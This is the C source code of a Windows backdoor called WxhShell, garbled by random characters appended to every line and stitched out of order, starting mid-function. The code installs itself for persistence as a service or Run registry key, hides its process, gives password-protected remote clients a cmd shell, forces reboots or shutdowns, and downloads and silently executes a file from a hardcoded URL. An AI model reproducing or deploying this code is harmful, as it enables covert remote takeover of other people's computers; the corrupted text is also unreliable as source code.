    closesocket(wsh); HIWmh4o/.  
    ExitThread(0); SceCucT  
    } ,SE$Rh  
    break; ou,=MpXx*  
    } LGo@F;!n  
  // 关机 !=h|&Vta  
  case 'd': { y T1Qep  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EV?47\ ~  
    if(Boot(SHUTDOWN)) dbq{a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h<^:Nn  
    else { 0Z) ;.l^  
    closesocket(wsh); ==jw3_W  
    ExitThread(0); % Dr4~7=7a  
    } l SVW}t  
    break; AZ9\>U@hD  
    } gt t$O  
  // 获取shell ap$ tu3j  
  case 's': { f;tyoN0wHx  
    CmdShell(wsh); V.gY1   
    closesocket(wsh); iP? ASqo{  
    ExitThread(0); PqJ*   
    break; 6nWx>R<  
  } 1-NX>E5  
  // 退出 )D@n?qbG  
  case 'x': { 3Llj_lf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L]}RSE2  
    CloseIt(wsh); tId !C  
    break; };|PFWs  
    } o? O,nD 6  
  // 离开 !|:q@|- %@  
  case 'q': { ~j&:)a'^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `)C`_g3Ew  
    closesocket(wsh); 4bFVyv  
    WSACleanup(); J_[[BJ&}x  
    exit(1); eeJt4DV8v  
    break; Mm7n?kb6  
        } #HuA(``[d  
  } hC, -9c  
  } L,A-G"z0Z  
,8o*!(uO2  
  // 提示信息 ;{q) |GRF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2SPFjpG8n  
} HJ1\FO9\  
  } =U7D}n hS-  
qddT9U|8~  
  return; gL}Y5U+s  
} JX0_UU  
IZv, Wo  
// shell模块句柄 |Sv#f2`  
int CmdShell(SOCKET sock) I;Fy k70w;  
{ 5m7Ax] \  
STARTUPINFO si; ecZOX$'5  
ZeroMemory(&si,sizeof(si)); %PdYv _5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /^eemx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tMBy ^@p  
PROCESS_INFORMATION ProcessInfo; ^t ldm7{_  
char cmdline[]="cmd"; 0:+uw` %  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z slEUTj)  
  return 0; N_k6UA9  
} J'c9577$  
!K~$ -jlT  
// 自身启动模式 (4f9wrK  
int StartFromService(void) /P"\ +Qp  
{ yi;t  
typedef struct N_Ld,J%g  
{ <a[8;YQC  
  DWORD ExitStatus; }~'Wz*Gm  
  DWORD PebBaseAddress; y/6LMAI  
  DWORD AffinityMask; O:p649A  
  DWORD BasePriority; G5f57F  
  ULONG UniqueProcessId; *`.{K12T  
  ULONG InheritedFromUniqueProcessId; l4reG:uYG  
}   PROCESS_BASIC_INFORMATION; {1DYXKe  
y]4 `d  
PROCNTQSIP NtQueryInformationProcess; }z-  
yZ0ZP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y mjS!H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -%) !XB  
bu&y w~  
  HANDLE             hProcess; $-fY8V3[  
  PROCESS_BASIC_INFORMATION pbi; '\\Cpc_g  
4F6o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9G/2^PI  
  if(NULL == hInst ) return 0; S5a<L_  
4yv31QG$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q#3X*!)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZUW>{'[K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NYvj?>[y  
3*2pacHpE  
  if (!NtQueryInformationProcess) return 0; T["(YFCByg  
gjLgeyyWC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S`w)b'B!M  
  if(!hProcess) return 0; kk+8NwM1  
a`Z f_;$@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M6#(F7hB  
jloyJ@ck  
  CloseHandle(hProcess); IuW10}"9  
*G41%uz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *=@pdQkR  
if(hProcess==NULL) return 0; E/']M~Q  
N&`ay{&`:  
HMODULE hMod; 4HE4e  
char procName[255]; !;Nh7vG  
unsigned long cbNeeded; hiHp@"l<  
h cXqg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >K%x44|  
=LnAMl#9  
  CloseHandle(hProcess); l:f sZO4  
cyNLeg+O*  
if(strstr(procName,"services")) return 1; // 以服务启动 Q#KjX;No  
{hz :[  
  return 0; // 注册表启动 _AYF'o-Cm  
} M7 !" t  
p#2th`M:P1  
// 主模块 m@~x*+Iz  
int StartWxhshell(LPSTR lpCmdLine) yk{alSF  
{ R 0}%   
  SOCKET wsl; y9)",G!  
BOOL val=TRUE; X2v'9 x  
  int port=0; 6< Z9p@6  
  struct sockaddr_in door; >B7OTGw  
to7)gOX(  
  if(wscfg.ws_autoins) Install(); {IWb:p#I]  
B!@0(A  
port=atoi(lpCmdLine); %R"Fx$tQ  
HrGX-6`  
if(port<=0) port=wscfg.ws_port; bAp`lmFI  
Je,8{J|e  
  WSADATA data; p~IvkW>ln)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gp=0;#4 4  
v*3:8Y,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1CbC|q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .Ko`DH~!,C  
  door.sin_family = AF_INET; / yCV-L2J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tPsU7bFk  
  door.sin_port = htons(port); zdCt#=QV?R  
d yd_dK/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?3#X5WT  
closesocket(wsl); K-ebAaiC  
return 1; zVu}7v()  
} \X!!(Z;6A  
]7;;uhn`  
  if(listen(wsl,2) == INVALID_SOCKET) { F <(Y  
closesocket(wsl); fJuJ#MX{:  
return 1; lV8Mr6m  
}  UWI5 /R  
  Wxhshell(wsl); y@I"Hk<T  
  WSACleanup(); +\4=G@P.J  
i&Ea@b  
return 0; # V +e  
tBrVg<]t  
} *d(Dk*(  
Mtu8zm  
// 以NT服务方式启动 2sngi@\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Oaui@q  
{ ;\h'A(  
DWORD   status = 0; rAWBuEU;!  
  DWORD   specificError = 0xfffffff; H X8q+  
[eImP V]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ec|IT0;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /=%4gWtr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lG2){){j  
  serviceStatus.dwWin32ExitCode     = 0; "='|c-x  
  serviceStatus.dwServiceSpecificExitCode = 0; \a<E3 <  
  serviceStatus.dwCheckPoint       = 0; 0/c4%+ Ln  
  serviceStatus.dwWaitHint       = 0; $/Mk.(3'P  
.$Y[>9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @I%m}>4Jm  
  if (hServiceStatusHandle==0) return; bkb}M)C  
dpy,;nqzeN  
status = GetLastError(); NFQ0/iuW  
  if (status!=NO_ERROR) qFay]V(O|  
{ Mf?4 `LM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q9( eH2=  
    serviceStatus.dwCheckPoint       = 0; kY|<1Ht  
    serviceStatus.dwWaitHint       = 0; Xh ?{%?2  
    serviceStatus.dwWin32ExitCode     = status; 3 Tt8#B  
    serviceStatus.dwServiceSpecificExitCode = specificError;  ST{<G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t JJaIb6Xj  
    return; uJi|@{V  
  } |KuH2, n0  
>scEdeM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wuPx6hCl  
  serviceStatus.dwCheckPoint       = 0; &TKB8vx=#  
  serviceStatus.dwWaitHint       = 0; ^s^X nQhE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =h4XsV)rO  
} <MoWS9s!yb  
0 ~VniF^  
// 处理NT服务事件,比如:启动、停止 i),W1<A1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f)>=.sp  
{ =V(I  
switch(fdwControl) lOql(ZH`w  
{ u\50,N9Wp{  
case SERVICE_CONTROL_STOP: `U)~fu/\2M  
  serviceStatus.dwWin32ExitCode = 0; tip\vS)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ok9XC <Xu  
  serviceStatus.dwCheckPoint   = 0;  a(F%M  
  serviceStatus.dwWaitHint     = 0; moh7:g  
  { gz8<&*2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~i(X{ ^,3  
  } k\A8Z[  
  return; LG(bdj"NM  
case SERVICE_CONTROL_PAUSE: ;8H m#p7,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s~,Ypo?  
  break; =j6f/8   
case SERVICE_CONTROL_CONTINUE: 2ACN5lyUS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1Jt5|'tl  
  break; Tm qtj  
case SERVICE_CONTROL_INTERROGATE: ^As^hY^p  
  break; \IIR2Xf,K  
}; '`I&g8I\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }O-|b#Q  
} 7?xTJN)G  
uPhFBD7  
// 标准应用程序主函数 b 'jZ4{+W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |#>\GU=!  
{ Hz `aj  
E)7vuWO O  
// 获取操作系统版本 h,"K+$  
OsIsNt=GetOsVer(); B|zJrz0q3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kZfa8w L]P  
!`JaYUL[e  
  // 从命令行安装 ?#da4W  
  if(strpbrk(lpCmdLine,"iI")) Install(); ci a'h_w  
Cz` !j  
  // 下载执行文件 2r4owB?  
if(wscfg.ws_downexe) { kr[p4X4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `7[z%cuK  
  WinExec(wscfg.ws_filenam,SW_HIDE); |uf{:U)  
} qbrY5;U  
t"4RGO)jh  
if(!OsIsNt) { `lygJI?H+{  
// 如果时win9x,隐藏进程并且设置为注册表启动 [uqe|< :  
HideProc(); noJ5h |  
StartWxhshell(lpCmdLine); /%fBkA#n  
} {xJq F4  
else 5n{J}0C  
  if(StartFromService()) ;;;aM:6\  
  // 以服务方式启动 R9bsl.e  
  StartServiceCtrlDispatcher(DispatchTable); >U .  
else #SyF-QZ[1  
  // 普通方式启动 ^C$Oht,cU  
  StartWxhshell(lpCmdLine); jd ]$U_U(  
0se0AcrW  
return 0; `TwDR6&  
} 7m='-_w)?w  
xgeDfpF'  
<j\osw1R  
3>vSKh1z  
=========================================== P5;n(E(19  
!A_<(M<  
S\wh *'Y  
t 3LRmjL  
Em6P6D>S>,  
"$P|!k45(  
" q-? k=RX`  
4sJM!9eb[  
#include <stdio.h> w2 %u;D%  
#include <string.h> MX*T.TG8  
#include <windows.h> 4 H 4W  
#include <winsock2.h> ''. P=  
#include <winsvc.h> [te9ui%JS  
#include <urlmon.h>  F6'[8f  
ui>0?O*G  
#pragma comment (lib, "Ws2_32.lib") [v0[,K  
#pragma comment (lib, "urlmon.lib") hKx*V"7/#\  
%5[,U)X"  
#define MAX_USER   100 // 最大客户端连接数 ,?k0~fuG6  
#define BUF_SOCK   200 // sock buffer ;7/ ;4Z  
#define KEY_BUFF   255 // 输入 buffer UYw_k\  
N"',  
#define REBOOT     0   // 重启 -=;V*;  
#define SHUTDOWN   1   // 关机 T{A 5,85  
E\$7tXQK6  
#define DEF_PORT   5000 // 监听端口 An.Qi=Cv  
aB $xQ|~  
#define REG_LEN     16   // 注册表键长度 Gl!fT1zh0  
#define SVC_LEN     80   // NT服务名长度 At t~N TL  
3)ZdT{ MY  
// 从dll定义API /7`fg0A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DTx!# [  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q`0 k=<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dRhsnT+KX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AiDV4lHr  
3oo Tn-`{  
// wxhshell配置信息 Bu{1^g:  
struct WSCFG { !kpnBgmU  
  int ws_port;         // 监听端口 L/+KY_b:*  
  char ws_passstr[REG_LEN]; // 口令 ;)c 4  
  int ws_autoins;       // 安装标记, 1=yes 0=no )ZHo7X  
  char ws_regname[REG_LEN]; // 注册表键名 Fv!KLw@  
  char ws_svcname[REG_LEN]; // 服务名 pD@2Mt0|]=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rzk-_AFR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #P,C9OQD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GEd JB=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P;8D|u^\*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w(6(Fze  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <\6<-x(H5  
OS{j5o  
}; T+knd'2V6  
QPZ|C{Ce  
// default Wxhshell configuration _?m%i]~o  
struct WSCFG wscfg={DEF_PORT, n7$2 1*,  
    "xuhuanlingzhe", m|8ljXX  
    1, YT@D*\  
    "Wxhshell", qiyX{J7Z  
    "Wxhshell", sfUKH;xC  
            "WxhShell Service", 3B^`xnV  
    "Wrsky Windows CmdShell Service", ?z/ )Hkw  
    "Please Input Your Password: ", ^ALR.N+<  
  1, ]N#%exBVo  
  "http://www.wrsky.com/wxhshell.exe", YB?5s`vr9d  
  "Wxhshell.exe" 49Y_ze6L}  
    }; 6 h%%?  
6$*\%  
// 消息定义模块 Z<ABK`rEO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gOSFvH8FU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y$h.k"x`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aZBS!X  
char *msg_ws_ext="\n\rExit."; :Y\!~J3W  
char *msg_ws_end="\n\rQuit."; 9`8D Ga  
char *msg_ws_boot="\n\rReboot..."; m R|;}u;d  
char *msg_ws_poff="\n\rShutdown..."; fvH4<c5x  
char *msg_ws_down="\n\rSave to "; \(g/::|  
M&q3xo"w  
char *msg_ws_err="\n\rErr!"; o)}M$}4  
char *msg_ws_ok="\n\rOK!"; $sa5aUg }  
K|Kc.   
char ExeFile[MAX_PATH]; #eZm)KFQg  
int nUser = 0; {!]7=K)W9  
HANDLE handles[MAX_USER]; UU;U,q  
int OsIsNt; 2]i>kV/,0  
W}0cM9 g  
SERVICE_STATUS       serviceStatus; =j&qat  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  gK Uci  
vXUq[,8yf  
// 函数声明 %'`L+y  
int Install(void); -z6{!  
int Uninstall(void); M>m+VsJV  
int DownloadFile(char *sURL, SOCKET wsh); M tD{/.D>  
int Boot(int flag); VQe@H8>3  
void HideProc(void); -s5>GwZt  
int GetOsVer(void); :.J]s<J(F  
int Wxhshell(SOCKET wsl); }(-2a*Z;Y  
void TalkWithClient(void *cs); ;mtv  
int CmdShell(SOCKET sock); c'Mi9,q  
int StartFromService(void); 6M-Y`T`J  
int StartWxhshell(LPSTR lpCmdLine); Z}NMDb:t  
9&VfbrBM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >/eV4ma"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *s[bq;$  
WN`|5"?$  
// 数据结构和表定义 {DVu* %|  
SERVICE_TABLE_ENTRY DispatchTable[] = oy< q;'  
{ zmdu\:_X9  
{wscfg.ws_svcname, NTServiceMain}, _G1C5nkDl4  
{NULL, NULL} azT@S=,  
}; Q/u1$&1  
^`< %Pk  
// 自我安装 s>+,u7EV  
int Install(void) S(MVL!Lm  
{ n)6mfoe  
  char svExeFile[MAX_PATH]; 1,pg7L8H  
  HKEY key; \&Bvh4Q  
  strcpy(svExeFile,ExeFile); d4[mR~XXT  
b8$(j2B~  
// 如果是win9x系统,修改注册表设为自启动 ` fm^#Nw  
if(!OsIsNt) { 2C@s-`b   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6 OLp x)fG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^9wQl!e ob  
  RegCloseKey(key); G;k#06  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ),53(=/hl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a3?D@@Qnw  
  RegCloseKey(key); ~wl 4  
  return 0; >56I`[)  
    } co-dq\P  
  } 1GA$nFBVC  
} Bk)*Z/1<x  
else { ehe;<A  
$V?h68[c  
// 如果是NT以上系统,安装为系统服务 ;kv/(veQ1<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t=B>t S.hO  
if (schSCManager!=0) z&x3":@u<  
{ `eXTVi|0"~  
  SC_HANDLE schService = CreateService zFpM\{`[g  
  ( b?Zt3#  
  schSCManager, Rz\:)<G  
  wscfg.ws_svcname, !da [#zK  
  wscfg.ws_svcdisp, d=~-8]%\  
  SERVICE_ALL_ACCESS, 'Bc{N^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E!_mXjlPc  
  SERVICE_AUTO_START, LLlt9(^d  
  SERVICE_ERROR_NORMAL, Iq%f*Zm<  
  svExeFile, Mb0l*'ZF  
  NULL, E]<Ce;Vj  
  NULL, ecg>_%.>  
  NULL, g.9:R=JPT  
  NULL, rr;p;  
  NULL 5OS|Vp||b  
  ); w,/&oe5M+  
  if (schService!=0) _pZaVx  
  { G{C27k>wa  
  CloseServiceHandle(schService); I]dt1iXu_{  
  CloseServiceHandle(schSCManager); (}jYi*B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W:z?w2{VI(  
  strcat(svExeFile,wscfg.ws_svcname); q[rBu9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |4lrVYG^K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %n7mN])  
  RegCloseKey(key); sb^%eUU])  
  return 0; FdZG%N>Z  
    } E?@batIrf  
  } ?oKY"C8/  
  CloseServiceHandle(schSCManager); PX%Y$`  
} :j=/>d],%  
} =%UX"K`  
H7=[sL^  
return 1; 4Z"JC9As  
} V< ]l=JOd  
K$K6,54y  
// 自我卸载 }>|!Mf]W?R  
int Uninstall(void) >AsrPU[  
{ E@%X  
  HKEY key; 5qx,b&^w  
n,.ZLuBEX  
if(!OsIsNt) { -55Pvg0ND  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $cUTe  
  RegDeleteValue(key,wscfg.ws_regname); 'Itsu~fza  
  RegCloseKey(key); ^/k`URQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q_sQC5:s  
  RegDeleteValue(key,wscfg.ws_regname); AzwG_XgM)  
  RegCloseKey(key); ^I4/{,Ev  
  return 0; }/{G  
  } T{VdlgL  
} y&$mN  
} p%_m!   
else { ee9nfvG-  
+}u{{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $xWebz0  
if (schSCManager!=0) <Fc @T4Q,  
{ z g'1T2t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DV,rh83.ip  
  if (schService!=0) :Ur=}@Dj  
  { %kcyE<c  
  if(DeleteService(schService)!=0) { y].vll8R  
  CloseServiceHandle(schService); b)5z'zQu  
  CloseServiceHandle(schSCManager); tc_D8Q_  
  return 0; C9`J6Uu  
  } X)tf3M {J@  
  CloseServiceHandle(schService); bg8<}~zg  
  } \; b)qB  
  CloseServiceHandle(schSCManager); 41d,<E  
} 2!Mwui;%  
} v0ng M)^q  
~m]sJpW<"  
return 1; |Bv?! sjf  
} | CC(`<\R  
_>G=v!  
// 从指定url下载文件 0NN{2"M$p  
int DownloadFile(char *sURL, SOCKET wsh) NbD"O8dL~E  
{ y5XHJUTu  
  HRESULT hr; 31w9$H N  
char seps[]= "/"; cR0RJ$[d  
char *token; ?D].Za^km  
char *file; j4au Zl]NF  
char myURL[MAX_PATH]; %'}L.OvG  
char myFILE[MAX_PATH]; \LFRu  
T:$zNX<f  
strcpy(myURL,sURL); "%c\i-&t  
  token=strtok(myURL,seps); I[~EQ {Iz  
  while(token!=NULL) o@?3i+%}8  
  { X7I"WC1ncz  
    file=token; H!F Cerg  
  token=strtok(NULL,seps); x*H4o{o0  
  } q;T3bxp+  
&CvNNDgrJ  
GetCurrentDirectory(MAX_PATH,myFILE); @j%r6N  
strcat(myFILE, "\\"); \#(cI  
strcat(myFILE, file); f`5e0;zm  
  send(wsh,myFILE,strlen(myFILE),0); {iP^51fy  
send(wsh,"...",3,0); RVFQ!0 C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8oSndfV  
  if(hr==S_OK) g)*[W>M  
return 0; |kvom 4T  
else "_qH+ =_R  
return 1; O a_2J#~$  
^h+<Q%'a'  
} <RmI)g>'_^  
%nJ^0X_]  
// 系统电源模块 N[ %^0T$  
int Boot(int flag) 6i/x"vl>  
{ [>P@3t(/  
  HANDLE hToken; PaF`dnJ  
  TOKEN_PRIVILEGES tkp; <|~8Ezd  
=`5Xx(  
  if(OsIsNt) { ;z;O}<8s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uBLI!N-G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B\a-Q,Wf  
    tkp.PrivilegeCount = 1; >Vr+\c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  Z(p kj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [HB>\   
if(flag==REBOOT) { ^)&d7cSc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u8pJjn;  
  return 0; A4.Q \0  
} `}gjfu -'\  
else { cq`v8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gF;i3OJg  
  return 0; `_C4L=q"  
} 4y&%YLMpl  
  } q"OvuHBSOn  
  else { G2Eke;  
if(flag==REBOOT) { ec/1Z8}p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P.WEu<$  
  return 0; + ^n [B  
} b: UTq 7^  
else { 5LU8QHj3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VSa\X~  
  return 0; p9k' .H^:_  
} _|`~CLE[  
} -@{5 u d  
Y.&nxT95=  
return 1; 2Z 4Ekq0@  
} uc]]zI6  
_oK*1#Rm8  
// win9x进程隐藏模块 fQcJyX  
void HideProc(void) Q@gmtAp  
{ 7 sv 3=/`  
!t/I j~o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e ?FjN 9  
  if ( hKernel != NULL )  }t}y  
  { {2Jo|z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NO5\|.,Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T$[50~  
    FreeLibrary(hKernel); ` 6a  
  } <7-:flQz~  
4X tIMa28  
return; +VxzWNs*JP  
} KITC,@xE_O  
S- {=4b'  
// 获取操作系统版本 / i[F  
int GetOsVer(void) 57 (bd0@8  
{ ?`ETlFtD4  
  OSVERSIONINFO winfo; F uYjrzmx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E Dh$UB)  
  GetVersionEx(&winfo); XFJGL!wWm[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BN??3F8C  
  return 1; X@;; h  
  else _Q XC5i  
  return 0; g i>`  
} (R^X3  
>1luLp/,$  
// 客户端句柄模块 j{QzD^t  
int Wxhshell(SOCKET wsl) b ]A9$-  
{ YU >NGC]}d  
  SOCKET wsh; 7dxTyn=  
  struct sockaddr_in client; #6okd*^  
  DWORD myID; >#pZ`oPEAv  
'0ks`a4q  
  while(nUser<MAX_USER) 2h=QJgpCG  
{ f%#q}vK-  
  int nSize=sizeof(client); mf4C68DI@u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z[vHMJ 0  
  if(wsh==INVALID_SOCKET) return 1; e'nhP  
C?OqS+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `IC2}IiF  
if(handles[nUser]==0) .|?UqZ(,  
  closesocket(wsh); :X+!W_xR  
else J_-K"T|f  
  nUser++; kH4xP3. i  
  } ]7|Zs]6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /&>vhpZ}  
LZ'Y3 *  
  return 0; "@s</HGo  
} H@|h Nn$@  
yq6Gyoi<  
// 关闭 socket ] Hiw+5n  
void CloseIt(SOCKET wsh) Mp-hNO}.Z  
{ (JX 9c  
closesocket(wsh); .X.,.vHx  
nUser--; EX"o9'  
ExitThread(0); q+ZN$4m  
} %mFZ!(  
z%lLbKSe  
// 客户端请求句柄 d,XNok{  
void TalkWithClient(void *cs) _Dq, \}  
{  I?R?rW  
ehTRw8"R  
  SOCKET wsh=(SOCKET)cs; &@U)  
  char pwd[SVC_LEN]; YQ$Wif:@(n  
  char cmd[KEY_BUFF]; nhImO@Q:  
char chr[1]; 7;rf$\-&  
int i,j; 5fDp"-  
-Cc2|~n  
  while (nUser < MAX_USER) { /w/um>>K.  
E'^$~h$  
if(wscfg.ws_passstr) { /D~MHO{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Nc_Qd4<[@G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~ !7!Y~(+  
  //ZeroMemory(pwd,KEY_BUFF); 4?',E ddo  
      i=0; fN_Ilg)t?5  
  while(i<SVC_LEN) { ?' /#Gt`  
H[[#h=r0f  
  // 设置超时 "QLp%B,A  
  fd_set FdRead; 4S\St <  
  struct timeval TimeOut; u;Rm/.  
  FD_ZERO(&FdRead); q Oyo+hu  
  FD_SET(wsh,&FdRead); 2q}lSa7r  
  TimeOut.tv_sec=8; )u>/:  
  TimeOut.tv_usec=0; 5J2tR6u-(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \F8 :6-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s<'WTgy1i  
t2hI^J0y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cL+bMM$4r~  
  pwd=chr[0]; ^X| Bzz)  
  if(chr[0]==0xd || chr[0]==0xa) { *T-v^ndJh  
  pwd=0; d Z P;f^^  
  break; `7 3I}%?  
  } zOn% \  
  i++; Gq =i-I  
    } =v6qr~  
\xjI=P'-25  
  // 如果是非法用户,关闭 socket ]EfM;'j[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;dqu ld+q  
} It8s#oq8  
WVdF/H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @,;VMO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jk_ }y  
+?ilTU  
while(1) { !CUX13/0  
^+u/Lw&  
  ZeroMemory(cmd,KEY_BUFF); ~mk>9Gp  
NU(YllPB  
      // 自动支持客户端 telnet标准   wj-z;YCV  
  j=0; Q+zy\T  
  while(j<KEY_BUFF) { H{+[ ,l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P$Fq62;}r4  
  cmd[j]=chr[0]; [w?v !8l  
  if(chr[0]==0xa || chr[0]==0xd) { [_1K1i"m  
  cmd[j]=0; sG:tyvln  
  break; 2T3b6  
  } x]pZcx9  
  j++; O=\`q6l  
    } ]z"7v  
18AlQ+')?w  
  // 下载文件 U IHe^?R  
  if(strstr(cmd,"http://")) { ?;ovh nY)  
